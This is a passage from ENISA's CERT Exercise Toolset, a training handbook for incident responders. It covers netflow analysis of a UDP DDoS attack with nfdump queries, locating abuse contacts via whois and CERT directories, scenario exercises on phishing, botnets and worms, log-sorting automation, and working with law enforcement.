nfdump -R nfcapd.200702240400:nfcapd.200702240900 -s
record/flows/bytes/packets/bps
By comparing the two queries, we can see that a lot of TOP N UDP traffic to many ports at
195.88.49.121 appeared suddenly. UDP traffic to such ports is anomalous, especially coming from
a single IP.
33
There are 5 hosts that generate huge traffic to the attacked server. These IPs are the potential
attackers:
33.106.25.243
207.39.221.61
213.63.169.117
43.170.142.79
33.106.23.177
CLI:
A quick way of checking what IPs may be involved in an attack against an IP is to generate statistics
filtered towards that specific destination IP. In this case we can filter for the TOP N attacking source
IPs based on flows against 195.88.49.121.
Q 3 What IPs are involved in carrying out the attack?
GUI:
A quick way of checking what IPs may be involved in an attack against an IP is to generate statistics
filtered towards that specific destination IP. In this case we can filter for TOP N attacking source IPs
based on flows against 195.88.49.121.
Use netflow processing. Select the time window from 2007-02-24-04-00 to 2007-02-24-09-00.
Generate the TOP 20 statistics about the source IP, using the dst host 195.88.49.121 filter.
[Question to students: What IPs do you think are involved in the attack?]
Example query:
nfdump -R nfcapd.200702240400:nfcapd.200702240900 -n 20 -s srcip 'dst ip
195.88.49.121'
Q 4 How is the attack being carried out?
Once we get some attack candidates, we can filter for their behaviour against this destination IP.
This gives us a more complete picture of how the attack is being carried out.
GUI:
Use netflow processing with the dst ip 195.88.49.121 and (src ip 33.106.25.243 or src ip
207.39.221.61 or src ip 213.63.169.117 or src ip 43.170.142.79 or src ip 33.106.23.177) filter.
34
By modifying the filter (dst host) you can investigate the behaviour of each attacking IP separately.
CLI:
In the command line interface, you could use the following command:
nfdump -R nfcapd.200702240410:nfcapd.200702240900 -o extended -c 50 'dst ip
195.88.49.121 and (src ip 33.106.25.243 or src ip 207.39.221.61 or src ip
213.63.169.117 or src ip 43.170.142.79 or src ip 33.106.23.177)'
Modify the dst host accordingly.
Conclusion:
The attacking IP was sending UDP packets to a WWW server to many different destination ports, but
always from the same source port. All these five attacking IPs sent packets simultaneously. All the
packets had the same size: 29B.
Q 5 Where did the attack come from?
One issue that frequently arises for DDoS attacks is the question whether the source IPs are
spoofed. With UDP DDoS attacks, this is usually quite likely. For TCP based attacks, flows can be
used to deduce what flags were seen for connections, allowing for speculation as to whether an
attack was spoofed or not. To track where an attack came from, one can also use netflow to observe
the router interfaces from which the traffic entered. With the interface information it is possible to
identify the uplink, which can be used in turn to check its uplink and so on. This can also be used to
discover whether spoofing was involved.
CLI:
For example, to see what flags were set:
nfdump -R nfcapd.200702240410:nfcapd.200702240500 -c 50 -o extended 'dst ip
195.88.49.121 and (src ip 33.106.25.243 or src ip 207.39.221.61 or src ip
213.63.169.117 or src ip 43.170.142.79 or src ip 33.106.23.177)'
For example, to see the interfaces where the packets came from:
nfdump -R nfcapd.200702240410:nfcapd.200702240500 -o fmt:%in 'src ip 33.106.25.243'
| sort -u
Q 6 What could be done to mitigate the attack at the ISP level?
Some possible suggestions for attack mitigation might include the following:
If the attacked server is only a WWW server, without other services, you could block all UDP
traffic. This prevents repeated attacks from new IPs.
You could block UDP traffic destined only to high number ports (for example, if the attacked
server is also a DNS server and you cannot block all UDP traffic you could block all >53/UDP)
Rate limiting of UDP traffic is also a possibility.
When you finish Task 1, run nfsen_stop script available on your LiveDVD Desktop.
(You can click on it.)
35
36
Task 2 can be found on the LiveDVD #2: Network Forensisc Task 2.
Make sure that the Apache server is running. Run the nfsen_start script available on your LiveDVD
#2: Network Forensics Task 2 Desktop. (You can click on it.)
When you finish Task 2, run the nfsen_stop script available on your LiveDVD #2: Network Forensisc
Task 2 Desktop. (You can click on it.)
DDoS Analysis (DIY)
In a similar manner to the first Task, you are required to analyse another DDoS
attack. This time, you are expected to carry out the analysis with minimal help from
the trainer. You are expected to:
identify when the attack began;
identify what is being attacked;
identify the IPs involved in carrying out the attack;
identify the way the attack is being carried out;
identify where the attack is coming from; and
suggest ways of mitigating the attack at the ISP level.
Task 2
37
Exercise 8
Establishing External Contacts
EXERCISE TASKS
The communication and exchange of information is one of the crucial aspects of a CERTs work.
The more effectively information is shared and exchanged between interested parties, the faster
security incidents can be mitigated and the less the damage that occurs. Thus, it is very
important to have at hand and to know how to use sources of contact information, networks of
contacts and other channels for the distribution and sharing of data.
The goal of this exercise is to enhance your skills in establishing contacts with other CERTs,
administrators of ISPs and other parties responsible for the mitigation of security incidents in
their networks around the globe. You will be asked to identify and contact the proper authorities
about real incidents. After finishing the exercise, you should be able to establish and develop
networks of contacts faster and more effectively.
Session One
You have received a number of logs indicating remote attacks. Your task will be to inform
administrators of networks causing these attacks about the problem and ask them to mitigate it.
Begin with identifying the right contacts.
We suggest starting with querying the whois databases of regional Internet registries (RIRs). They
keep information about the network providers being assigned a given range of IP addresses. In
turn, the providers can usually make the information more granulate by adding information about
subnets and their networks. Note that each regional registry has its own separated database which
covers the address space administered by that registry. Currently, there are five regional Internet
registries:
ARIN: American Registry for Internet Numbers (http://www.arin.net/) covers North America and
parts of the Caribbean;
RIPE NCC (http://www.ripe.net/) for Europe, Middle East and Central Asia;
APNIC: Asia-Pacific Network Information Centre (http://www.apnic.net) for Asia and the Pacific;
LACNIC: Latin American and Caribbean Internet Address Registry (http://www.lacnic.net/) for
Latin America and parts of the Caribbean; and
AfriNIC: African Network Information Centre (http://www.afrinic.net/) for Africa.
The registries offer whois services via web interfaces and standard whois protocol.
Since it is not possible to determine which RIR to ask just by looking at the IP address (or at least
not without sufficient prior experience), numerous services exist which can do this for you by
querying multiple servers to find the correct one. One of the services we recommend for this is
Domain Dossier from CentralOps.net, located at http://centralops.net/co/DomainDossier.aspx. While
this service offers multiple other functionalities, for the time being we settle for network whois
lookup. Look for contacts listed in cert-nfy (RIPE, APNIC), tech-c, OrgAbuseEmail (ARIN) or
similar, as well as for any contacts the server refers to directly as abuse.
Another approach is to use the domain name and user contact information for the domain. Note
that this can be much less accurate, because:
many institutions can get network or hosting services from a single provider and so do not
bother to have reverse DNS entries, thus sharing a single providers domain in many cases
they will, however, have different entries in RIR whois databases;
the domain name system is hierarchical and sometimes the different levels of a domain name
can be confused; and
some domain registries hide pieces of information that are considered private and protected by
local law (eg, the name and last name of a private person can be treated as personal data).
Note that, in any case, going after the domain owner should eventually bring you to the person
responsible for a particular host in the worst case, they should be able to redirect you one hop
further but usually it takes longer than going from the network providers end.
When looking up the domain owner, do not confuse registrar with registrant. Although the terms
sound similar, the first one is actually the organisation where the domain was registered, while the
latter is the domain owner.
Contact information for a domain is kept in a domain whois database a separate one for each top-
level domain. Most registries provide lookup tools for their databases via a web frontend and
sometimes also via a standard whois interface. The quality and format of the information returned
varies greatly. Again, Domain Dossier has a tool that does lookups at the appropriate servers for
you (when available). This time use the domain whois record feature.
Yet another way to look for administrative contacts is to look for a web page of the company. You
may try entering the hostname into the browser directly or guess the name by adding www to
various parts of the domain name. For example, for a hostname melkor.nask.waw.pl you would be
successful with www.nask.waw.pl.
Warning! When visiting unknown web pages, consider using a disposable system, eg, a virtual
machine which you do not mind getting infected. This is especially true when visiting potentially
infected sites.
Once you find the web page, try to find out what kind of a company you are dealing with. Is it a
hosting provider? An ISP? If you find yourself at either of these, you will probably look for an abuse
department or a network operating centre of some kind and ask them to provide the customers
data or relay your information to him. If you stumble across an online store, or other site which
does not seem to provide further network services, you have probably found the customer yourself.
Just look for any contact information on the web page.
Last, but not least, consider passing the information on to a local CERT. CERTs have proved to be
successful in getting to the right people by knowing the local situation, language and culture.
Usually they have also built up a tight local network of trusted contacts that you may not be able to
reach otherwise. If you are unable to locate the IRT contact in RIPE or APNIC databases, you may
want to use one of the lists of CERT teams:
http://www.first.org/members/teams/index.html members of the Forum of Incident Response
and Security Teams, the global forum for CERTs (sorted alphabetically);
http://www.trusted-introducer.nl/teams/country_LICSA.html a list of recognised European
CERTs, maintained by Trusted Introducer (sorted by country);
http://www.egc-group.org/ European Government CERTs Group;
http://enisa.europa.eu/doc/pdf/deliverables/cert_inventory_v1_4.pdf Inventory of CERT
activities in Europe by ENISA; and
http://www.apcert.org/about/structure/members.html members of APCERT, a forum of CERTs
from the Asia-Pacific region.
38
39
Note the different constituencies of different CERT teams. Although some teams have country-wide
responsibility and will be happy to accept and relay information about malicious activity anywhere in
their country, some are limited to government or military institutions or even single companies or
universities.
Whenever possible, try to make notes of phone numbers too.
When you have finished gathering contact information, consult with the trainer and other students.
Your next step is to write formal incident reports to the addresses you have found and send them by
e-mail. You should start the report by identifying yourself and the company and/or team you are
working for. You may skip this only when you have long-established and informal relationships with
the recipient but do not do so for the sake of this exercise. The report should also contain:
a clear description of the attack and what you think caused it;
evidence of the attack log samples including detailed time information, full e-mail with headers,
etc; and
a request for actions you should state clearly what you want the recipient to do (eg, stop the
customer from carrying out further abuse, take down an offending host, etc).
Once you have prepared the report, discuss it with the trainer.
If you have PGP/GPG available, always sign your mail. Note that encryption is not necessary unless
you are sending sensitive information such as a cracked password, strings to access a vulnerable
site, etc. Also, you would need to have a public key for the recipient or agree with him or her on a
pass-phrase for symmetric encryption beforehand.
After hitting the Send button, you are done with the first session, but not done with your exercise.
Ask the teacher for the details of the second session when you will discuss the results. Until then,
make sure you monitor your mailbox, reply to any inquiries you may receive from the
administrators if you can, and take notes of any responses, tracking any numbers, etc, you may
receive.
Session Two
Share your experience from the contacts:
How many e-mails did you send?
How many replies did you get?
What kinds of replies did you get automated, personalised, asking for clarification, or
confirming resolution?
How much time did it usually take to get a reply back?
In how many cases do you believe you managed to resolve the incident?
In cases where you did not receive any reply, what do you think was the reason?
Discuss your findings and opinions with the other students and the teacher.
In some cases, the teacher might ask you to follow up with a phone call. Do you still have the
numbers you noted?
40
Exercise 9
Large-scale Incident Handling
EXERCISE TASKS
The purpose of this exercise is to introduce you to the way large-scale incidents can be handled.
You will face different scenarios, presented by the trainer. For each scenario, follow carefully what
the trainer has to say. The trainer will explain a certain initial situation and you will be asked to
suggest ways of moving forward. To help you, the trainer will pose leading questions. Answering
the questions will move you to the next phase of the scenario, until you arrive at the final
solution.
PART 1 LARGE-SCALE PHISHING ATTACK
This exercise is meant to be carried out with the help of the trainer. At the beginning, you will be
given a short overview of what phishing is. The trainer will then present a scenario to you. The
scenario will be resolved through a series of steps (tasks).
Source of information
What are your possible sources for obtaining information about phishing incidents?
Task 1
Initial investigation
What would be your first steps in tackling a reported phishing incident?
Task 2
Take down
How would you organise the takedown of the phishing site? What are the possible
obstacles?
Task 3
Warning & Mitigation
How would you go about warning victims? What steps could be taken, other than
organising a takedown, to mitigate the problem?
Task 4
PART 2 LARGE BOTNET SPREADING THROUGH A NEW VULNERABILITY
You have gained some experience on how to handle large-scale phishing attacks. Now you are faced
with a large botnet which is blasting through your network using some new vulnerability you have
never heard of. The trainer will introduce some more details to you. As in the previous example,
you should resolve the incident through the tasks listed below. The trainer will be there to help you,
answering your questions so that you may proceed to the next task. Try to enumerate as many
possible variants as you can think of.
Source of information
What are your possible sources for obtaining information about new botnets and
vulnerabilities? What services could you use to monitor networks and acquire
information about network events?
Task 1
41
PART 3 INTERNAL WORM OUTBREAK
This scenario deals with a different case from the two previous scenarios. Those involved handling
incidents external to a CERT. But what if an attack is happening in a network of a corporate CERT?
In this scenario, the trainer will:
present you with a hypothetical scenario of a worm entering a corporate network;
present a diagram (below) of a hypothetical organisations network;
give general information about the initial situation; and
guide you in a step-by-step manner, by providing leading questions to help you understand what
is happening and how to resolve the situation.
The network topology looks like the following:
Initial investigation
What would be your first steps in tackling such a situation?
Task 2
Take down
How would you organise the takedown of a controller? What are the possible
obstacles?
Task 3
Warning & Mitigation
How would you go about warning victims? What steps could be taken, other than
organising a takedown, to mitigate the problem?
Task 4
42
Perform the following tasks, enumerating all the possible variants of the problem you can think of.
How would you resolve the situation? Again, the trainer will provide you with leading questions.
PART 4 LARGE SCALE DDoS ATTACKS AGAINST THE ENTIRE COUNTRY
This part of the exercise is devoted particularly to developing your skills and ideas on handling
large-scale country-wide DDoS attacks. You will learn how to prepare the attack defence strategy,
undertake appropriate actions and overcome various types of difficulties at different levels, both
technical and organisational.
Your ideas for Phase I
Possible source of attack
Where could the attack have come from?
Task 1
Type of attack
How does the worm spread?
Task 2
Malware capture and analysis
How could you capture and analyse the worm?
Task 3
Worm controller identification
How could you determine if this worm has a controller and adds infected hosts to a
botnet?
Task 4
Case study: hypothetical cyber attack against country X
You will receive a case study which describes some hypothetical cyber attack against
country X. Your task is to prepare the defence strategy for this cyber attack. Think
about the consequences of the situations described and the potential difficulties a
CERT could face. Explain the motivation for the actions you propose. You have 45
minutes to complete this task. Be prepared to present your ideas to the whole group.
Use the following form to prepare your strategy.
Task 1
Your ideas for Phase II
Your ideas for Phase III
Present and discuss your ideas with the others.
Defence procedure (You are your CERT)
43
Another perspective: your country is under cyber attack
Imagine a similar attack occurs against your country or happens to your constituency.
What would be your actions? Develop a basic defence procedure for your CSIRT team.
Task 2
Analysis of a particular DDoS method
You will receive a description of a DDoS attack. Your task will be to give ideas about
the types of analytical methods and actions which can be used to defend against it.
Task 3
Lesson learnt
Think about how to be better prepared to defend future large-scale attacks? Consider
issues connected to prevention, preparedness and sustainability.
Task 4
44
Exercise 10
Automation in Incident Handling
Sometimes information about an incident, particularly about a widespread incident, is received in
bulk containing not just data about your networks but from all networks. This can be the case
when a site under a DDoS attack shares its logs without time to sort and separate them for
individual ISPs, look for contacts, etc. Having one-to-many distribution channels at hand, such as
mailing lists, they can efficiently publish information for everyone to analyse.
On the other hand, sometimes you have plenty of information collected from your own sources
which you wish to share with others, distributing it on a need-to-know basis. An example can be
logs from IPS systems, early warning systems, etc. While you observe attacks from all around the
world, you may have a few interested parties who want to receive and handle reports about their
networks. In such cases you need to sort the information out.
Can you think of other situations where automation and scripting may help you?
You can find a lot of lightweight useful tools in the standard Linux shell. Some of the most
commonly used are:
cat concatenate files and print on the standard output
head output the first part of files
tail output the last part of files
grep, egrep print lines matching a pattern
sort sort lines of text files
cut remove sections from each line of files
awk pattern scanning and processing language
netcat reads and writes data across network connections
Their documentation is available by typing: man command_name at the command prompt.
For more advanced processing you can use powerful programming languages like python and perl
with lots of ready text-manipulation routines.
The text file 24022007.txt contains netflow logs from a DDoS attack. Although this is a UDP flood to
various ports and the source hosts are probably spoofed, you may decide to verify whether this
traffic was observed at origin and you happen to have good contacts with CERT teams in Poland and
Turkey.
The log file format is as follows (columns separated with whitespaces):
This exercise will let you practice your skills in the fast and automated or semi-automated
analysing of logs and guide you through some tools than can be useful in these tasks.
Column Description
1 Date
2 Time
3 Duration
4 Protocol
5 Source IP address:port
6 ->
7 Destination IP address:port
8 Number of packets transmitted
9 Number of bytes transmitted
10 Number of aggregated flows
Use the tools to dig some useful information out of this bulk data.
Hints: sort offers an option to remove repeated lines from output. You can count lines,
characters, etc, in a text file with wc.
A detailed description of the service is available at http://www.team-cymru.org/Services/ip-to-
asn.html and additional instructions can be obtained with a command:
$ whois -h whois.cymru.com help
Make sure you read the instructions and policies published on the webpage.
Hints: Use bulk query over whois protocol. You will need to enable the display of the country
codes in the output.
45
Locating unique interesting hosts
Generate a list of unique attacking IP addresses. How many distinct source hosts
were taking part in the attack? (Assume that attacking packets = UDP packets.)
Task 1
Geolocation
Team Cymru (http://www.team-cymru.com/) offers an IP to ASN mapping service.
Use this service to find attacking IP addresses assigned to Poland and Turkey.
Task 2
Looking further
While the attack consists of UDP packets to (apparently) random high ports, there are
some other flows that stand out. Can you find them?
Task 3
46
Exercise 11
Incident Handling in Live Role Playing
EXERCISE TASKS
This is a role-playing game that will take you into the world of incident handling. Doesnt sound like
much fun? Well, it depends on you, as you will have a lot of freedom in developing the scenario and
taking turns in the actions. Try to be as interactive as possible.
You will receive a small note with a personal description of your character. This is for your eyes
only! If you decide to take some action (eg, call someone), ask the game master for permission. He
has the power to give or take back any information, fast forward or revert the time, and influence
your decisions. However, keep in mind that you should not try to speculate on the decisions of other
players and vice versa you should not let others decide for you (unless they are your bosses, of
course ).
You can exchange information with other characters by meeting them face to face, making calls,
sending e-mails, etc. Just describe what you are doing and interact with your partner. Remember
that you cannot use any information that you heard when other characters talked unless your
character was in the same room; the same rule applies to the other participants.
At the end of the game you will be asked to share your opinions, so keep them for then. You can
make notes on how you would proceed if you knew something in advance or if you were playing
another character, and share them with everyone later.
This exercise is designed to introduce you to many different layers and aspects of incident
handling, including but not limited to:
interaction with end-users;
interaction with administrators;
vulnerability handling; and
talking to the management.
It should help you to get into other peoples shoes, understand their needs and expectations
during the incident handling process and improve your communications with different actors.
47
Exercise 12
Cooperation with Law Enforcement Agencies
(Advising in Cyber Crime Cases)
EXERCISE TASKS
During this exercise you will learn how to advise in a cyber crime case, as well as when and how
to effectively cooperate with an LEA. In particular, you will:
practise the identification of cyber crime cases;
discuss differences in the legal systems of various countries and the consequences of these
differences;
practise writing instructions regarding the reporting of a cyber crime to an LEA;
improve your skills in advising a reporter or an LEA in a cyber crime case; and
develop your ideas about what kinds of training could be useful for an LEA.
Identifying and reporting cyber crimes
Imagine that the following incidents have been reported to you. Which would you
consider to be cyber crimes according to the cyber law of your country? Name each
type of the identified cyber crime (eg, computer intrusion, etc).
Task 1
1. Re-posting a personal message to a mailing group
2. Multiple login attempts (guessing passwords)
3. Discovering the weak points of a computer system by scanning
4. Observing and recording network traffic (wiretapping)
5. Attempting unauthorised remote or local access to someones computer
6. Sending mails with abusive content
7. Attempting to use an unknown exploit
8. Forwarding or re-posting a message received with the wording changed
9. Selling or installing copies of unlicensed commercial software or other copyright
protected materials
10. Attempt to acquire sensitive information, such as usernames, passwords and credit
card details, by masquerading as a trustworthy entity in an electronic communication
11. A successful compromise of a system or application by exploiting vulnerabilities
12. Using someones FTP site to deposit materials which somebody else wishes other
people to pick up
13. Including, or inserting into a system, software intended for a harmful purpose
14. Limiting the availability of someones computer resources by sending lots of packets
15. Sending large amounts of unsolicited mails to people
What would you do in cases involving:
a) a denial of service attack,
b) phishing, and
c) cyber defamation?
1. What kind of information should the LEA provide you with?
2. How could you identify the source of the crime?
3. What could you advise the LEA to do?
Below are some examples of queries from an LEA:
The LEA asks you to establish the owner of an e-mail address.
The LEA sends you a letter without the return address.
The LEA asks questions without proper authorisation or an appropriate signature.
The LEA asks for a list of log entries that could help identify users connecting to the Internet
using a computer with an IP address xxxx.
The LEA asks for the identity of the user who was assigned IP address xxxx during a specific
period of time a few years ago.
The LEA asks for log entries containing a list of all connections established on a particular day.
Think about proposals for CERT training for an LEA which would decrease the number of such
questions.
48
CERT advises an incident reporter in a cyber crime case
Read the following descriptions of three incidents reported to a CERT:
A user reports that he receives e-mails with viruses from one particular address.
(The reporter suspects that they are sent on purpose.) The reporter provides the
details of his mailbox (login and password) with a request for it to be checked with
the CERTs help.
A server administrator at the University reports that its web server (IP given) has
became the target of a massive DDoS attack. The number of connections from the
attacking hosts exceeded 35,000 in the first days, but on that day, the attacks
were boosted and occurred 4 times a day for 2 to 3.5 hours each time and the
number of connections (recorded in firewall logs) was more than 130,000. The
total number of attacking hosts was probably more than 1,000. They had already
blocked about 450 of the attacking networks. In most cases, attacks originated
from the network in France, the Netherlands and Germany.
A bank reports that it has been informed that there is a website hosted by some
company which is involved in a phishing scheme to obtain personal account
information from the customers of this bank.
Write separate instructions for the victims of these incidents, including your advice
and an explanation on how to report the incidents to an LEA.
Task 2
CERT advises LEA in a cyber crime case
The trainer asks you what kind of aspects should be addressed in cooperation with an
LEA. Then, he or she asks you to think about what a CERT could advise when it
receives a call from an LEA regarding a case of suspected cyber crime.
Task 3
CERT prepares training for LEA
The trainer asks you to think about proposals for CERT training for an LEA. What kind
of training will it be? What kind of advice should this training contain?
Task 4
PO Box 1309, 71001 Heraklion, Greece, Tel: +30 2810 391 280
www.enisa.europa.eu

CERT Exercise Toolset

Încărcat de

Informații document

Drepturi de autor

Formate disponibile

Partajați acest document

Partajați sau inserați document

Opțiuni de partajare

Vi se pare util acest document?

Este necorespunzător acest conținut?

Drepturi de autor:

Formate disponibile

CERT Exercise Toolset

Încărcat de

Drepturi de autor:

Formate disponibile

www.enisa.europa.

S-ar putea să vă placă și